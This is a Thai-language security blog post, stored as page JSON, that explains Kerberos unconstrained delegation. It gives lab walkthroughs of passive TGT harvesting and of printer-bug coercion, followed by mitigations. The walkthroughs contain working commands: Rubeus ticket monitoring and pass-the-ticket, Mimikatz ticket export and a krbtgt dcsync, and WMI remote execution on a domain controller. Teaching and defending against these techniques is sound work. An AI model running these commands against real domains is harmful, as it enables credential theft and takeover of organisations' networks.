[{"data":1,"prerenderedAt":1018},["ShallowReactive",2],{"blog-ker-delg-pt1":3},{"post":4,"upNext":988,"linkedPosts":1015},{"id":5,"title":6,"author":7,"body":8,"date":967,"description":968,"draft":969,"extension":970,"faq":971,"image":972,"lang":973,"lastReviewed":971,"link":974,"meta":975,"navigation":976,"path":977,"seo":978,"stem":979,"tags":980,"type":986,"__hash__":987},"content\u002Fblogs\u002F2026-08-10-ker-delg-pt1.md","Kerberos Delegation Attacks Part 1: Unconstrained Delegation","Wisarud Wongta",{"type":9,"value":10,"toc":932},"minimark",[11,16,20,26,29,33,36,45,48,58,61,64,78,81,92,94,98,105,108,119,124,133,136,141,148,156,159,161,165,169,185,189,197,201,206,209,211,215,219,225,239,242,244,248,259,262,270,274,279,300,308,310,314,317,320,328,343,351,355,394,396,400,407,414,418,426,429,439,447,454,457,463,471,477,480,486,494,500,503,511,518,521,527,533,539,545,552,558,561,567,575,581,584,592,595,601,609,617,625,629,635,638,644,652,659,662,668,676,683,690,696,704,710,713,721,724,732,738,744,750,756,762,765,773,781,789,791,799,803,807,820,824,829,833,846,851,855,858,866,870,875,877,881,884,888],[12,13,15],"h2",{"id":14},"prerequisite","Prerequisite",[17,18,19],"p",{},"ก่อนอ่านบทความนี้ แนะนำให้อ่านบทความพื้นฐานของ Active Directory และการทำงานของ Kerberos Protocol เพื่อปูพื้นฐานเรื่อง TGT\u002FTGS ตามลิสต์ด้านล่างนี้",[17,21,22],{},[23,24,25],"a",{"href":25},"\u002Fblogs\u002Fattacking-kerberos-in-windows-domain-environment",[27,28],"hr",{},[12,30,32],{"id":31},"introduction","Introduction",[17,34,35],{},"Kerberos Delegation เป็นกลไกที่สร้างมาแก้ปัญหาระดับ Enterprise อย่างหนึ่ง คือ",[37,38,39],"blockquote",{},[17,40,41],{},[42,43,44],"em",{},"จะทำยังไงถ้าอยากให้ service เข้าถึงอีก service ได้ โดยสวมสิทธิ์เป็นผู้ใช้ และไม่ต้องขอ credential จากผู้ใช้อีก?",[17,46,47],{},"ซึ่งมักพบใน Multi-tier applications ที่ต้องยืนยันตัวตนต่อกันหลายชั้น เช่น",[49,50,51,55],"ul",{},[52,53,54],"li",{},"Web servers ต้องการเข้าถึงข้อมูลภายใน database ด้วยสิทธิ์ของผู้ใช้",[52,56,57],{},"Application Servers ต้องการเรียก API หลังบ้านด้วยสิทธิ์ของผู้ใช้",[17,59,60],{},"แต่ในมุมความปลอดภัย Kerberos delegation อาศัย trust relationship ที่ให้สิทธิ์ค่อนข้างมาก attacker จึงสนใจจุดนี้เป็นพิเศษ",[17,62,63],{},"ถ้าตั้งค่า Kerberos delegation ไม่ถูกต้อง attacker จะทำ action ต่าง ๆ ได้ เช่น",[49,65,66,69,72,75],{},[52,67,68],{},"ปลอมเป็นผู้ใช้งานที่มีการตั้งค่าให้ทำ Delegation",[52,70,71],{},"ทำกระบวนการ lateral movement ไปยังส่วนต่าง ๆ ของระบบ",[52,73,74],{},"เพิ่มสิทธิ์ของตัวเองให้มีสิทธิ์มากกว่าเดิม",[52,76,77],{},"มีโอกาสที่จะทำให้ attacker สามารถ compromise หรือยึดทั้ง domain ของระบบได้",[17,79,80],{},"โดยในบทความนี้จะมีเนื้อหาดังนี้",[49,82,83,86,89],{},[52,84,85],{},"อธิบายความหมายและการทำงานของ Kerberos Delegation ในรูปแบบที่เข้าใจได้ง่าย",[52,87,88],{},"แยกแยะความแตกต่างของ Kerberos Delegation แต่ละประเภท",[52,90,91],{},"แสดงตัวอย่างการโจมตีของ Unconstrained Delegation",[27,93],{},[12,95,97],{"id":96},"what-is-kerberos-delegation","What is Kerberos Delegation?",[37,99,100],{},[17,101,102],{},[42,103,104],{},"Kerberos Delegation จะทำให้ service สามารถ reuse การยืนยันตัวตนของ user เพื่อให้เข้าถึงอีก service นึงได้",[17,106,107],{},"ตัวอย่างการทำงานคร่าว ๆ คือ",[49,109,110,113,116],{},[52,111,112],{},"user เข้าสู่ระบบ → ได้ key\u002FKerberos identity(TGT)",[52,114,115],{},"เข้าสู่ระบบเสร็จ user ทำการเข้าถึง service",[52,117,118],{},"Service นั้นก็ต้องการเข้าถึง system อื่น ๆ อีกต่อนึง ซึ่งใช้สิทธิ์ของ user แทนสิทธิ์ของ service",[37,120,121],{},[17,122,123],{},"User impersonation คือจุดประสงค์หลักของการทำ Delegation",[17,125,126],{},[127,128],"img",{"alt":129,"src":130,"width":131,"height":132},"Unconstrained Delegation by Hackthebox","\u002Fimages\u002Fblogs\u002F2026-08-10-ker-delg-pt1\u002Fimage-20260630-103518.299Z-929.webp",2560,1010,[17,134,135],{},"แต่จุดสำคัญของ Delegation คือ service เข้าถึง system อื่นแทน user และยังได้รับ TGT ของ user ไปด้วย",[137,138,140],"h3",{"id":139},"why-the-tgt-matters","Why the TGT Matters",[17,142,143,147],{},[144,145,146],"strong",{},"Ticket Granting Ticket (TGT)"," เป็น core หลักของการติดต่อสื่อสารด้วย Kerberos:",[49,149,150,153],{},[52,151,152],{},"TGT สามารถใช้ในการยืนยันตัวตนของ user ได้",[52,154,155],{},"TGT สามารถใช้ขอ request ในการเข้าถึงกับ service อื่น ๆ",[17,157,158],{},"ซึ่งถ้า TGT ของเราหลุดไปหรือมี attacker ได้ไปจะทำให้สามารถถูกสวมสิทธิ์เป็นเจ้าของ TGT ได้โดยที่ไม่จำเป็นต้องรู้ password เลย",[27,160],{},[12,162,164],{"id":163},"types-of-kerberos-delegation","Types of Kerberos Delegation",[137,166,168],{"id":167},"_1-unconstrained-delegation","1. Unconstrained Delegation",[49,170,171,177,180],{},[52,172,173,174],{},"สามารถ impersonate user และเข้าถึงได้",[144,175,176],{},"ทุก service",[52,178,179],{},"มีการเก็บ TGT ของ user ไว้ใน memory",[52,181,182],{},[144,183,184],{},"อันตรายที่สุด",[137,186,188],{"id":187},"_2-constrained-delegation","2. Constrained Delegation",[49,190,191,194],{},[52,192,193],{},"มีการจำกัดการเข้าถึงได้แค่ service ที่เฉพาะเจาะจง",[52,195,196],{},"ยังถือว่ามีการควบคุม service ได้บ้าง",[137,198,200],{"id":199},"_3-resource-based-constrained-delegation-rbcd","3. Resource-Based Constrained Delegation (RBCD)",[49,202,203],{},[52,204,205],{},"สิทธิ์ในการ Delegate จะย้ายไปที่ Target system (service ที่จะถูกร้องขอ)",[17,207,208],{},"โดยในบทความ Part ที่ 1 นี้เราจะเน้นไปที่ Unconstrained Delegation กันก่อนซึ่งเป็น ขั้นตอนที่ไม่ซับซ้อนแต่มีความอันตรายมากที่สุดในบรรดาทั้ง 3 รูปแบบ",[27,210],{},[12,212,214],{"id":213},"unconstrained-delegation-abuse","Unconstrained Delegation Abuse",[137,216,218],{"id":217},"explanation","Explanation",[17,220,221,222],{},"การทำงานของเครื่อง server ที่มีการตั้งค่าให้ ",[144,223,224],{},"Unconstrained Delegation มีดังนี้",[49,226,227,230,233,236],{},[52,228,229],{},"user เชื่อมต่อเข้ามายัง server และได้รับ TGT มาจาก domain controller",[52,231,232],{},"domain controller เห็นว่ามีการขอสิทธิเข้าถึงเครื่อง server ที่มีการตั้งค่า Unconstrained Delegation จาก user",[52,234,235],{},"domain controller ออก service ticket ที่ทำให้เครื่องของ user ทำการส่งต่อ ticket (TGT) ของ user ไว้ใน service ticket นั้นก่อนจะส่งไปยัง server",[52,237,238],{},"เครื่อง server ทำการ extract service ticket ที่ได้รับและเก็บค่า TGT ไว้ใน memory",[17,240,241],{},"วิธีนี้จะทำให้ server สามารถทำการ impersonate ไปเป็น user เพื่อทำการเข้าถึง service ต่าง ๆ ภายใน domain ได้",[27,243],{},[137,245,247],{"id":246},"why-this-is-dangerous","Why This Is Dangerous",[49,249,250,253,256],{},[52,251,252],{},"TGTs จะถูกเก็บอยู่ภายใน memory (LSASS)",[52,254,255],{},"จะมีการสร้าง user ticket จำนวนมากเมื่อเวลาผ่านไป",[52,257,258],{},"attacker ที่สามารถเข้าถึงเครื่อง server จะสามารถ extract TGT เหล่านั้นได้",[17,260,261],{},"ความเสี่ยงทั้งหมดนี้ทำให้ attacker impersonate เป็น user อื่น ๆ และเข้าถึง service ใดก็ได้ภายใน domain",[17,263,264],{},[127,265],{"alt":266,"src":267,"width":268,"height":269},"too afraid","\u002Fimages\u002Fblogs\u002F2026-08-10-ker-delg-pt1\u002Fimage-20260630-103554.497Z-3571.jpg",509,499,[137,271,273],{"id":272},"attack-flow","Attack Flow",[275,276,278],"h4",{"id":277},"step-by-step-scenario-1","Step-by-Step Scenario #1",[280,281,282,285,288,291,294,297],"ol",{},[52,283,284],{},"attacker ทำการโจมตีและยึดเครื่อง server ที่มีการตั้งค่าให้มีการทำ Unconstrained Delegation",[52,286,287],{},"user (ยกตัวอย่างเช่น domain admin) ทำการเชื่อมต่อเข้ามายังเครื่อง server",[52,289,290],{},"TGT ของ user ถูกฝังมากับ service ticket และถูกเก็บไว้ที่ memory ของเครื่อง server",[52,292,293],{},"attacker ทำการ extract TGT จาก memory ของเครื่อง server",[52,295,296],{},"attacker นำ TGT ของ user มาทำ Pass-the-Ticket (inject เข้า session ปัจจุบัน)",[52,298,299],{},"เมื่อเข้าถึง service ใด ๆ TGT จะถูกใช้ขอ TGS อัตโนมัติ ทำให้ impersonate เป็น user คนนั้นและเข้าถึงได้ ทุก service ที่ user มีสิทธิ์ภายใน domain",[17,301,302],{},[127,303],{"alt":304,"src":305,"width":306,"height":307},"Unconstrained Delegation Flow","\u002Fimages\u002Fblogs\u002F2026-08-10-ker-delg-pt1\u002Fimage-20260630-104324.551Z-3724.webp",1242,907,[27,309],{},[275,311,313],{"id":312},"step-by-step-scenario-2-coercion","Step-by-Step Scenario #2 coercion",[17,315,316],{},"แทนที่เราจะรอให้ user มาเชื่อมต่อกับ server ที่เรายึดได้ จะมีวิธีไหนที่เราจะบังคับให้ user นั้น ๆ มาเชื่อมต่อเลยได้หรือไม่",[17,318,319],{},"Microsoft service\u002Fprotocols บางตัวมีช่องโหว่ที่อนุญาตให้ user สามารถบังคับ machine เชื่อมต่อไปยังอีก machine ได้ เช่น",[17,321,322],{},[127,323],{"alt":324,"src":325,"width":326,"height":327},"Table for coercion protocol","\u002Fimages\u002Fblogs\u002F2026-08-10-ker-delg-pt1\u002Fimage-20260703-085145.597Z-9257.webp",2000,440,[280,329,330,335,337,339,341],{},[52,331,332],{},[144,333,334],{},"บังคับให้ user เชื่อมต่อเข้ามายัง server (PetitPotam\u002FPrinterBug)",[52,336,290],{},[52,338,293],{},[52,340,296],{},[52,342,299],{},[17,344,345],{},[127,346],{"alt":347,"src":348,"width":349,"height":350},"Unconstrained Delegation Coercion Flow","\u002Fimages\u002Fblogs\u002F2026-08-10-ker-delg-pt1\u002Fimage-20260630-104412.783Z-5144.webp",1296,988,[12,352,354],{"id":353},"tools","Tools",[49,356,357,366,374,382],{},[52,358,359,365],{},[23,360,364],{"href":361,"rel":362},"https:\u002F\u002Fgithub.com\u002FParrotSec\u002Fmimikatz",[363],"nofollow","Mimikatz:"," เครื่องมือสำหรับการทำ post-exploitation ในการ extract credential เช่น NTLM hashes และ Kerberos tickets จาก memory",[52,367,368,373],{},[23,369,372],{"href":370,"rel":371},"https:\u002F\u002Fgithub.com\u002FGhostPack\u002FRubeus",[363],"Rubeus:"," เครื่องมือที่เน้นการโจมตีและจัดการ Kerberos โดยเฉพาะ สามารถใช้ request\u002FInject และนำ Kerberos Ticket ไปใช้งานต่อ เช่น Pass-the-Ticket และการโจมตี Kerberos Delegation",[52,375,376,381],{},[23,377,380],{"href":378,"rel":379},"https:\u002F\u002Fgithub.com\u002Ftopotam\u002FPetitPotam",[363],"PetitPotam:"," เป็นเทคนิคบังคับให้เครื่อง Windows เป้าหมาย (เช่น Domain Controller) ทำการเชื่อมออกไปยังเครื่องของผู้โจมตี ซึ่งมักถูกนำไปใช้ต่อยอดใน NTLM Relay หรือ Unconstrained Delegation",[52,383,384,389,390,393],{},[23,385,388],{"href":386,"rel":387},"https:\u002F\u002Fgithub.com\u002Fdirkjanm\u002Fkrbrelayx",[363],"PrinterBug:"," เป็นเทคนิคบังคับให้เครื่องเป้าหมายทำการเชื่อมต่อออกไปยังเครื่องอื่นผ่าน Print Spooler Service ซึ่งเป็นหนึ่งในเครื่องมือของ ",[144,391,392],{},"krbrelayx"," โดยเป็นชุดเครื่องมือสำหรับ Relay และ Abuse Kerberos Authentication",[27,395],{},[12,397,399],{"id":398},"attack-scenario","Attack Scenario",[137,401,403,404],{"id":402},"machineshosts","M",[144,405,406],{},"achines\u002FHosts",[17,408,409],{},[127,410],{"alt":411,"src":412,"width":413,"height":327},"Machine Table and Role","\u002Fimages\u002Fblogs\u002F2026-08-10-ker-delg-pt1\u002Fimage-20260630-105603.704Z-1330.webp",2200,[137,415,417],{"id":416},"scenario-1-passive-tgt-harvest","Scenario 1 :  passive TGT harvest",[275,419,421,425],{"id":420},"dc-enumerate-machines-with-unconstrained-delegation",[422,423,424],"code",{},"[DC]"," Enumerate machines with Unconstrained Delegation",[17,427,428],{},"ทำการตรวจหาว่ามีเครื่องไหนบ้างที่มีการเปิดการใช้งาน Unconstrained Delegation อยู่ ซึ่งจากรูปจะเห็นว่ามีเครื่อง DEG1 ที่เปิดใช้งานอยู่",[430,431,436],"pre",{"className":432,"code":434,"language":435},[433],"language-text","Get-ADComputer -Filter {TrustedForDelegation -eq $true} `\n  -Properties TrustedForDelegation, DNSHostName |\n  Select-Object Name, DNSHostName, TrustedForDelegation\n","text",[422,437,434],{"__ignoreMap":438},"",[17,440,441],{},[127,442],{"alt":443,"src":444,"width":445,"height":446},"command to enumeration for Unconstrained Delegation","\u002Fimages\u002Fblogs\u002F2026-08-10-ker-delg-pt1\u002Fimage-20260630-105745.637Z-4455.webp",1408,284,[275,448,450,453],{"id":449},"deg1-monitor-for-incoming-tgts-with-rubeus",[422,451,452],{},"[DEG1]"," Monitor for incoming TGTs with Rubeus",[17,455,456],{},"ในที่นี้จะขอสมมติว่าเราสามารถเข้ายึดเครื่อง DEG1 ได้จากนั้นเราจะทำการ monitor ด้วยการใช้ Rubeus monitor mode ที่จะคอยเชค LSASS memory ว่ามีการ cache TGT ใหม่มาหรือไม่",[430,458,461],{"className":459,"code":460,"language":435},[433],".\\Rubeus.exe monitor \u002Finterval:5 \u002Fnowrap\n",[422,462,460],{"__ignoreMap":438},[17,464,465],{},[127,466],{"alt":467,"src":468,"width":469,"height":470},"Using Rubeus monitor mode","\u002Fimages\u002Fblogs\u002F2026-08-10-ker-delg-pt1\u002Fimage-20260630-105832.676Z-4349.webp",1338,390,[275,472,474,476],{"id":473},"dc-trigger-a-privileged-user-to-connect-to-deg1",[422,475,424],{}," Trigger a privileged user to connect to DEG1",[17,478,479],{},"ซึ่งในสถานการณ์จริงเราอาจจะต้องรอจนกว่าจะมี user มา connect ที่เครื่อง DEG1 แต่สำหรับบทความนี้เราจะยกตัวอย่างหากมี domain admin ทำการ powershell remote มาที่เครื่อง DEG1 (TGT ถูก forward ให้เองเพราะ DEG1 ตั้งค่า Unconstrained Delegation ไว้) ซึ่งก็จะทำให้ TGT ของ user domain admin (user:yoda) ถูกฝังไว้ที่ service ticket ที่จะส่งไปยังเครื่อง DEG1",[430,481,484],{"className":482,"code":483,"language":435},[433],"Enter-PSSession -ComputerName DEG1 -Credential VAULT.TEC\\yoda\n",[422,485,483],{"__ignoreMap":438},[17,487,488],{},[127,489],{"alt":490,"src":491,"width":492,"height":493},"Connect to DEG1 as domain admin user.","\u002Fimages\u002Fblogs\u002F2026-08-10-ker-delg-pt1\u002Fimage-20260629-135547.938Z-8508.webp",1372,90,[275,495,497,499],{"id":496},"deg1-rubeus-captures-the-tgt-automatically",[422,498,452],{}," Rubeus captures the TGT automatically",[17,501,502],{},"กลับมาที่เครื่อง DEG1 จะเห็นว่า Rubeus ตรวจจับ ticket ใหม่ใน LSASS และ print ออกมาให้เรา ในรูปแบบ base64 ซึ่งเราสามารถเอา ticket นี้ไปใช้ขยายผลต่อได้",[17,504,505],{},[127,506],{"alt":507,"src":508,"width":509,"height":510},"Domain admin's TGT is captured","\u002Fimages\u002Fblogs\u002F2026-08-10-ker-delg-pt1\u002Fimage-20260630-105849.994Z-494.webp",1682,822,[275,512,514,517],{"id":513},"deg1-alternative-dump-all-tickets-from-lsass-with-mimikatz",[422,515,516],{},"DEG1"," Alternative:  dump all tickets from LSASS with Mimikatz",[17,519,520],{},"ในกรณีที่เราไม่ได้ทำการใช้ rubeus monitor ในขณะที่มีการเชื่อมต่อเข้ามาจาก user เราสามารถใช้เครื่องมือในการ dump kerberos tickets จาก LSASS ได้ ตัวอย่างด้านล่างจะใช้ Mimikatz",[430,522,525],{"className":523,"code":524,"language":435},[433],"# Launch mimikatz as SYSTEM\n.\\mimikatz.exe\n",[422,526,524],{"__ignoreMap":438},[430,528,531],{"className":529,"code":530,"language":435},[433],"# Enable debug privilege\nmimikatz # privilege::debug\n",[422,532,530],{"__ignoreMap":438},[430,534,537],{"className":535,"code":536,"language":435},[433],"# Export all tickets from LSASS to .kirbi files\nmimikatz # sekurlsa::tickets \u002Fexport\n",[422,538,536],{"__ignoreMap":438},[430,540,543],{"className":541,"code":542,"language":435},[433],"# Or list tickets in memory without export\nmimikatz # kerberos::list \u002Fexport\n",[422,544,542],{"__ignoreMap":438},[17,546,547],{},[127,548],{"alt":549,"src":550,"width":509,"height":551},"Dumping kerberos ticket on DEG1 using mimikatz","\u002Fimages\u002Fblogs\u002F2026-08-10-ker-delg-pt1\u002Fimage-20260630-105910.573Z-9527.webp",1262,[275,553,555,557],{"id":554},"deg1-pass-the-ticket-inject-tgt-into-the-current-session",[422,556,516],{}," Pass the Ticket :  inject TGT into the current session",[17,559,560],{},"โดยหลังจากที่ได้ TGT ของ domain admin หรือ user ที่ต้องการแล้ว ก็จะสามารถ impersonate เป็น user นั้นได้ จากตัวอย่างนี้เราจะใช้ Rubeus ในการทำกระบวนการที่เรียกว่า pass-the-ticket",[430,562,565],{"className":563,"code":564,"language":435},[433],"# Inject from base64 (copied from monitor output)\nC:\\Tools\\Rubeus.exe ptt \u002Fticket:\u003Cbase64_ticket_here>\n",[422,566,564],{"__ignoreMap":438},[17,568,569],{},[127,570],{"alt":571,"src":572,"width":573,"height":574},"pass-the-ticket using domain admin ticket","\u002Fimages\u002Fblogs\u002F2026-08-10-ker-delg-pt1\u002Fimage-20260630-105920.065Z-6070.webp",1680,830,[275,576,578,580],{"id":577},"deg1-verify-impersonation-access-santa-monica-as-domain-admin",[422,579,516],{}," Verify impersonation :  access Santa-Monica as domain admin",[17,582,583],{},"เมื่อทำการตรวจสอบด้วย command klist จะเห็นว่าเรามี ticket ของ user yoda (user ที่ทำการ Enter-PSSession) แล้ว",[17,585,586],{},[127,587],{"alt":588,"src":589,"width":590,"height":591},"Using klist command to list the current ticket","\u002Fimages\u002Fblogs\u002F2026-08-10-ker-delg-pt1\u002Fimage-20260630-105937.265Z-9240.webp",1500,528,[17,593,594],{},"ทั้งยังสามารถทำอะไรก็ตามที่ user yoda ทำได้ เช่นเขียนไฟล์บน Domain Controller (yoda มีสิทธิ์เป็น domain admin)",[430,596,599],{"className":597,"code":598,"language":435},[433],"Invoke-WmiMethod -ComputerName SANTA-MONICA -Class Win32_Process  -Name Create -ArgumentList \"cmd.exe \u002Fc whoami > C:\\pwned.txt\"\n",[422,600,598],{"__ignoreMap":438},[17,602,603],{},[127,604],{"alt":605,"src":606,"width":607,"height":608},"Write a file to domain controller using domain admin user","\u002Fimages\u002Fblogs\u002F2026-08-10-ker-delg-pt1\u002Fimage-20260630-105950.248Z-2491.webp",1676,506,[17,610,611],{},[127,612],{"alt":613,"src":614,"width":615,"height":616},"Result of the write file command","\u002Fimages\u002Fblogs\u002F2026-08-10-ker-delg-pt1\u002Fimage-20260703-090021.318Z-1056.webp",2298,1138,[17,618,619],{},[127,620],{"alt":621,"src":622,"width":623,"height":624},"There is another","\u002Fimages\u002Fblogs\u002F2026-08-10-ker-delg-pt1\u002Fimage-20260703-090203.200Z-4342.webp",800,450,[137,626,628],{"id":627},"scenario-2-active-coercion-ms-rprn-printer-bug","Scenario 2:  Active Coercion (MS-RPRN \u002F Printer Bug)",[275,630,632,634],{"id":631},"deg1-start-rubeus-monitor-on-deg1",[422,633,516],{}," Start Rubeus Monitor on DEG1",[17,636,637],{},"ทำการใช้งาน monitor mode เพื่อดักรอ TGT ของ user ที่เครื่อง DEG1 เช่นเดิม โดยครั้งนี้จะทำการ filter ไว้แค่เพียงชื่อเครื่อง SANTA-MONICA ซึ่งเป็นเครื่อง Domain Controller ที่เราจะทำการบังคับให้มีการเชื่อมต่อ",[430,639,642],{"className":640,"code":641,"language":435},[433],"# Run as Administrator on DEG1\n.\\Rubeus.exe monitor \u002Finterval:5 \u002Fnowrap \u002Ffilteruser:SANTA-MONICA$\n",[422,643,641],{"__ignoreMap":438},[17,645,646],{},[127,647],{"alt":648,"src":649,"width":650,"height":651},"Using Rubeus monitor mod","\u002Fimages\u002Fblogs\u002F2026-08-10-ker-delg-pt1\u002Fimage-20260703-090256.498Z-4079.webp",1624,466,[275,653,655,658],{"id":654},"dc-verify-print-spooler-is-running",[422,656,657],{},"DC"," Verify Print Spooler is Running",[17,660,661],{},"จากนั้นเราจะทำการตรวจสอบ service MS-RPRN ที่เครื่องเป้าหมาย (SANTA-MONICA) ที่เป็น domain controller ว่ามีการเปิดใช้งานให้เรา exploit ได้ไหม ซึ่งจากผลลัพธ์ก็พบว่าที่เครื่อง domain controller มีการเปิดใช้งาน MS-RPRN อยู่",[430,663,666],{"className":664,"code":665,"language":435},[433],"impacket-rpcdump vault.tec\u002Fyoda:\u003Cpassword>@10.40.0.2 | grep -A 2 \"MS-RPRN\\|spoolss\"\n",[422,667,665],{"__ignoreMap":438},[17,669,670],{},[127,671],{"alt":672,"src":673,"width":674,"height":675},"Domain controller is enable MS-RPRN protocol","\u002Fimages\u002Fblogs\u002F2026-08-10-ker-delg-pt1\u002Fimage-20260703-090403.242Z-1246.webp",1748,236,[275,677,679,682],{"id":678},"kali-trigger-the-coercion-from-kali",[422,680,681],{},"Kali"," Trigger the Coercion from Kali",[17,684,685,686,689],{},"จากนั้นใช้งานเครื่องมือ PrinterBug จาก krbrelayx เพื่อทำการเรียกให้ ",[422,687,688],{},"RpcRemoteFindFirstPrinterChangeNotification"," บนเครื่อง domain controller เพื่อบังคับให้มีการเชื่อมต่อไปที่เครื่อง DEG1",[430,691,694],{"className":692,"code":693,"language":435},[433],"# Syntax: printerbug DOMAIN\u002FUSER:PASS@TARGET LISTENER_IP\nprinterbug vault.tec\u002Fyoda:\u003Cpassword>@santa-monica.vault.tec deg1.vault.tec\n",[422,695,693],{"__ignoreMap":438},[17,697,698],{},[127,699],{"alt":700,"src":701,"width":702,"height":703},"Using PrinterBug to force connection of DC to DEG1","\u002Fimages\u002Fblogs\u002F2026-08-10-ker-delg-pt1\u002Fimage-20260703-090503.343Z-933.webp",1658,356,[275,705,707,709],{"id":706},"deg1-rubeus-captures-targeted-tgt",[422,708,516],{}," Rubeus Captures Targeted TGT",[17,711,712],{},"หลังจากที่เราทำการใช้ PrinterBug ในการบังคับให้มีการทำเชื่อมต่อเกิดขึ้น จะเห็นว่าที่เครื่อง DEG1 ที่เรา monitor อยู่พบ TGT ของเครื่อง domain controller (SANTA-MONICA)",[17,714,715],{},[127,716],{"alt":717,"src":718,"width":719,"height":720},"Domain controler’s TGT is captured","\u002Fimages\u002Fblogs\u002F2026-08-10-ker-delg-pt1\u002Fimage-20260703-090527.590Z-683.webp",1688,816,[17,722,723],{},"หลังจากได้ TGT มาเราก็สามารถ impersonate (pass-the-ticket) เป็นเครื่อง DC (SANTA-MONICA) ได้",[17,725,726],{},[127,727],{"alt":728,"src":729,"width":730,"height":731},"Pass-the-ticket using domain controller ticket","\u002Fimages\u002Fblogs\u002F2026-08-10-ker-delg-pt1\u002Fimage-20260703-090549.730Z-3102.webp",1684,882,[17,733,734],{},[127,735],{"alt":588,"src":736,"width":509,"height":737},"\u002Fimages\u002Fblogs\u002F2026-08-10-ker-delg-pt1\u002Fimage-20260703-090611.597Z-6538.webp",552,[275,739,741,743],{"id":740},"deg1-post-exploitation",[422,742,516],{}," Post-Exploitation",[430,745,748],{"className":746,"code":747,"language":435},[433],"# On DEG1 — inject the ticket first\nC:\\Tools\\Rubeus.exe ptt \u002Fticket:\u003Cbase64_blob>\n",[422,749,747],{"__ignoreMap":438},[430,751,754],{"className":752,"code":753,"language":435},[433],"# Verify ticket loaded\nklist\n",[422,755,753],{"__ignoreMap":438},[430,757,760],{"className":758,"code":759,"language":435},[433],"# Then run mimikatz dcsync directly\n.\\mimikatz.exe\nprivilege::debug\nlsadump::dcsync \u002Fdomain:vault.tec \u002Fuser:krbtgt\n",[422,761,759],{"__ignoreMap":438},[17,763,764],{},"หลังจาก pass-the-ticket เสร็จก็ทำ dcsync ได้เลยเนื่องจากเราได้สิทธิ์ machine ของ domain controller มาแล้วนั้นเอง จะเห็นว่าขั้นตอนการทำการโจมตีนั้นเหมือนกับ Scenario ที่ 1 เพียงแค่ใน Scenario ที่ 2 นี้เราทำการ exploit service อื่นเพื่อทำการบังคับให้มีการเชื่อมต่อนั้นเอง",[17,766,767],{},[127,768],{"alt":769,"src":770,"width":771,"height":772},"Using mimikatz","\u002Fimages\u002Fblogs\u002F2026-08-10-ker-delg-pt1\u002Fimage-20260703-090828.187Z-4348.webp",1328,336,[17,774,775],{},[127,776],{"alt":777,"src":778,"width":779,"height":780},"Using mimikatz to DCSync #1","\u002Fimages\u002Fblogs\u002F2026-08-10-ker-delg-pt1\u002Fimage-20260703-090850.576Z-1075.webp",1522,1092,[17,782,783],{},[127,784],{"alt":785,"src":786,"width":787,"height":788},"Using mimikatz to DCSync #2","\u002Fimages\u002Fblogs\u002F2026-08-10-ker-delg-pt1\u002Fimage-20260703-090909.137Z-2538.webp",1410,1102,[27,790],{},[17,792,793],{},[127,794],{"alt":795,"src":796,"width":797,"height":798},"Bob the builder","\u002Fimages\u002Fblogs\u002F2026-08-10-ker-delg-pt1\u002Fimage-20260703-090929.211Z-7936.webp",565,442,[12,800,802],{"id":801},"mitigation","Mitigation",[137,804,806],{"id":805},"_1-ยกเลิกการใช้งาน-unconstrained-delegation","1 ยกเลิกการใช้งาน Unconstrained Delegation",[49,808,809],{},[52,810,811,812],{},"เปลี่ยนไปใช้กระบวนการ Delegation รูปแบบอื่นซึ่งจะไม่ได้มีการให้สิทธิ์ในการ impersonate เป็น user คนนั้น ๆ และเข้าถึง service ไหนก็ได้\n",[49,813,814,817],{},[52,815,816],{},"Constrained Delegation",[52,818,819],{},"Resource based Constrained Delegation",[137,821,823],{"id":822},"_2-protect-sensitive-accounts","2 Protect Sensitive Accounts",[49,825,826],{},[52,827,828],{},"ทำการเปิดการใช้งาน “Account is sensitive and cannot be delegated” กับ sensitive accounts เพื่อป้องกันไม่ให้ account ที่มีความสำคัญถูก forward TGT ไปได้",[137,830,832],{"id":831},"_3-restrict-admin-logins","3 Restrict Admin Logins",[49,834,835],{},[52,836,837,838],{},"หลีกเลี่ยงไม่ให้ user ระดับ Admin หรือ user ที่มีสิทธิ์สูงในการเข้าถึง:\n",[49,839,840,843],{},[52,841,842],{},"Application servers",[52,844,845],{},"Lower-trust systems",[37,847,848],{},[17,849,850],{},"ถ้าไม่มี TGT ของ admin = no attack path",[137,852,854],{"id":853},"_4-monitor-authentication-behavior","4 Monitor Authentication Behavior",[17,856,857],{},"คอยทำการตรวจสอบกระบวนการยืนยันตัวตนที่ผิดปกติเช่น:",[49,859,860,863],{},[52,861,862],{},"Privileged users ทำการเชื่อมต่อไปยัง hosts หรือ machine ที่ปกติไม่มีการเข้าถึง",[52,864,865],{},"มีการใช้งาน Kerberos ticket ที่ผิดปกติ",[137,867,869],{"id":868},"_5-audit-delegation-settings","5 Audit Delegation Settings",[49,871,872],{},[52,873,874],{},"คอยหมั่นทำการตรวจสอบการตั้งค่าว่ามี service ใดบ้างทำการตั้งค่าให้ทำการ Unconstrained Delegation ได้บ้าง และมีความเสี่ยงเพียงใด จะช่วยให้สามารถประเมินความเสี่ยงภายในองค์กรได้",[27,876],{},[12,878,880],{"id":879},"whats-next","What’s Next?",[17,882,883],{},"Part 2 จะพูดถึง Constrained Delegation Abuse และวิธีที่ attacker ยังหลบข้อจำกัดของ Constrained Delegation ได้",[12,885,887],{"id":886},"references","References:",[49,889,890,897,904,911,918,925],{},[52,891,892],{},[23,893,896],{"href":894,"rel":895},"https:\u002F\u002Fjumpcloud.com\u002Fit-index\u002Fwhat-is-kerberos-unconstrained-delegation",[363],"JumpCloud: Kerberos Unconstrained Delegation",[52,898,899],{},[23,900,903],{"href":901,"rel":902},"https:\u002F\u002Fpetri.com\u002Funderstanding-kerberos-delegation-in-windows-server-active-directory\u002F",[363],"Petri: Understanding Kerberos Delegation",[52,905,906],{},[23,907,910],{"href":908,"rel":909},"https:\u002F\u002Fwww.semperis.com\u002Fblog\u002Funconstrained-delegation-explained\u002F",[363],"Semperis: Unconstrained Delegation Explained",[52,912,913],{},[23,914,917],{"href":915,"rel":916},"https:\u002F\u002Fblog.sentry.security\u002Fdomain-takeover-via-kerberos-unconstrained-delegation\u002F",[363],"Sentry Security: Domain Takeover via Delegation",[52,919,920],{},[23,921,924],{"href":922,"rel":923},"https:\u002F\u002Fnotes.qazeer.io\u002Factive-directory\u002Fexploitation-kerberos_delegations",[363],"Qazeer Notes: Kerberos Delegation Overview",[52,926,927],{},[23,928,931],{"href":929,"rel":930},"https:\u002F\u002Fwww.hackthebox.com\u002Fblog\u002F8-powerful-kerberos-attacks#3_unconstrained_delegation",[363],"Hack The Box8 Powerful Kerberos attacks (that analysts 